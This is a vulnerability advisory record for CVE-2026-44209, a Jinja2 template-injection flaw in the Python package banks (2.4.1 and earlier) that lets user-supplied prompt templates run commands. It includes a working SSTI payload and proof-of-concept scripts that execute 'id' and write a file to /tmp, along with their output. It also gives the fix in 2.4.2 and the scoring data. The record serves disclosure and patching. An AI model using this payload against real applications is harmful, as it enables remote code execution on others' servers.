{"id":"CVE-2026-44209","aliases":["GHSA-gphh-9q3h-jgpp","PYSEC-2026-2390"],"url":"https://o3.security/vulnerability/CVE-2026-44209","summary":"Banks: Critical Remote Code Execution (RCE) via Jinja2 SSTI","details":"## Summary\n\n`banks <= 2.4.1` uses `jinja2.Environment()` (unsandboxed) to render prompt templates. Applications that pass user-supplied strings as the template argument to `Prompt()` are vulnerable to Server-Side Template Injection (SSTI), which can lead to Remote Code Execution (RCE) on the host system.\n\nThis is a vulnerability in how `banks` initializes its Jinja2 environment — not in Jinja2 itself.\n\n## Vulnerable Code\n\n`src/banks/env.py` — the global Jinja2 environment is created without sandboxing:\n\n```python\nenv = Environment(\n    autoescape=select_autoescape(enabled_extensions=(\"html\", \"xml\"), default_for_string=False),\n    ...\n)\n```\n\n## Attack Scenario\n\nAn application that stores prompt templates in a database, accepts them via an API, or loads them from a user-supplied config file and passes them to `Prompt()` is vulnerable. For example:\n\n```python\n# User-controlled input reaches Prompt()\nuser_input = \"{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}\"\np = Prompt(user_input)\np.text()  # Executes arbitrary command on the host\n```\n\n## Proof of Concept\n\n**Setup:**\n```bash\npip install banks==2.4.1\n```\n\n**PoC script:**\n```python\nfrom banks import Prompt\n\npayload = \"{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}\"\np = Prompt(payload)\nresult = p.text()\nprint(f\"[+] Output: {result}\")\n```\n\n**Confirmed output:**\n```\n[+] Output: uid=1000(ak) gid=1000(ak) groups=1000(ak),27(sudo),...\n\ntext\n\n**File-write proof:**\n```python\nfrom banks import Prompt\n\np = Prompt(\"{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo POC > /tmp/rce_banks_exec').read() }}\")\np.text()\n```\n```bash\nls -l /tmp/rce_banks_exec\n# -rw-rw-r-- 1 ak ak 4 Apr 27 15:36 /tmp/rce_banks_exec\n```\n\n## Impact\n\nApplications that allow end-users to supply or customize prompt templates are at risk of full Remote Code Execution, including arbitrary command execution, data exfiltration, and server compromise.\n\n## Fix\n\nFixed in `banks 2.4.2` (PR #74) by switching to `jinja2.sandbox.SandboxedEnvironment`, which blocks the dunder attribute traversal chain this exploit relies on.\n\nDevelopers on `banks <= 2.4.1` should upgrade to `2.4.2` and avoid passing untrusted user input as the template argument to `Prompt()`.\n\n## Resources\n- Fix: https://github.com/masci/banks/pull/74\n- CVE-2024-41950 (Haystack — identical root cause, CVSS 7.5)\n- CVE-2025-25362 (spacy-llm — identical root cause)\n- CWE-1336: Improper Neutralization of Special Elements in a Template Engine","published":"2026-05-26T20:46:56.002Z","modified":"2026-08-12T03:51:16.761759170Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H"},"epss":{"score":0.00423,"percentile":0.35051,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"banks","fixedVersion":"2.4.2"}],"fix":{"url":"https://github.com/masci/banks/pull/74","label":"masci/banks#74"},"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44209.json"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-44209"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44209.json"},{"type":"ADVISORY","url":"https://github.com/masci/banks/security/advisories/GHSA-gphh-9q3h-jgpp"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44209"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2481713"},{"type":"FIX","url":"https://github.com/masci/banks/pull/74"},{"type":"PACKAGE","url":"https://github.com/masci/banks"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:16.761759170Z"}}